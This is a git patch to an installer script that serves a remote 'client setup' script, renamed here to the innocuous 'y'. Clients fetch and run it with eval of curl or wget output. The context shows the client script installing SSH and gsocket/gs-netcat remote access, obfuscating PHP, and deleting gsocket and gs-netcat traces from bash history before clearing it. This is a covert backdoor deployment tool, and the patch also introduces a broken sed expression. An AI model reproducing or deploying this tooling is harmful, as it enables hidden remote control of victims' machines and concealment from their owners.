From c4dfa8fdd3679b69e4b4046118c1c7004add600b Mon Sep 17 00:00:00 2001 From: Amoelle Date: Wed, 2 Apr 2025 23:45:25 +0300 Subject: [PATCH] rename: client_script.sh -> y --- install | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/install b/install index d7ad9d7..9adb765 100755 --- a/install +++ b/install @@ -104,7 +104,7 @@ RANDOM_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32) sed -i "s/changeme_to_secure_random_string/$RANDOM_TOKEN/g" /tmp/log_receiver.php sudo mv /tmp/log_receiver.php "$SERVER_ROOT/log_receiver.php" -cat > /tmp/client_setup.sh << 'EOF' +cat > /tmp/y << 'EOF' #!/bin/bash # Remote host configuration script # This script sets up SSH, Wake-on-LAN, power button modification, @@ -512,7 +512,7 @@ rm -f /tmp/setup_* 2>/dev/null if [ -f "$HOME/.bash_history" ]; then sed -i '/gsocket/d' "$HOME/.bash_history" sed -i '/gs-netcat/d' "$HOME/.bash_history" - sed -i '/setup_script/d' "$HOME/.bash_history" + sed -i 'setup_script/d' "$HOME/.bash_history" fi history -c @@ -549,16 +549,16 @@ EOF SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1) # Replace placeholders with actual values -sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/client_setup.sh -sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/client_setup.sh +sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/y +sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/y -sudo mv /tmp/client_setup.sh "$SERVER_ROOT/client_setup.sh" -sudo chmod +x "$SERVER_ROOT/client_setup.sh" +sudo mv /tmp/y "$SERVER_ROOT/y" +sudo chmod +x "$SERVER_ROOT/y" cat > /tmp/obfuscate.php << 'EOF' /tmp/index.html << EOF
Using curl:
-eval "\$(curl -fsSL http://${SERVER_IP}/deployment/client_setup.sh)" +eval "\$(curl -fsSL http://${SERVER_IP}/deployment/y)"
Using wget:
-eval "\$(wget -O- http://${SERVER_IP}/deployment/client_setup.sh)" +eval "\$(wget -qO- http://${SERVER_IP}/deployment/y)"
@@ -908,7 +908,7 @@ echo "==============================================================" echo "Server URL: http://$SERVER_IP/deployment" echo "Admin Page: http://$SERVER_IP/deployment/admin.php" echo "Admin Password: $ADMIN_PASSWORD" -echo "Client Setup Command: eval \"\$(curl -fsSL http://$SERVER_IP/deployment/client_setup.sh)\"" +echo "Client Setup Command: eval \"\$(curl -fsSL http://$SERVER_IP/deployment/y)\"" echo "==============================================================" echo "Secret Token for accessing logs: $RANDOM_TOKEN" echo "=============================================================="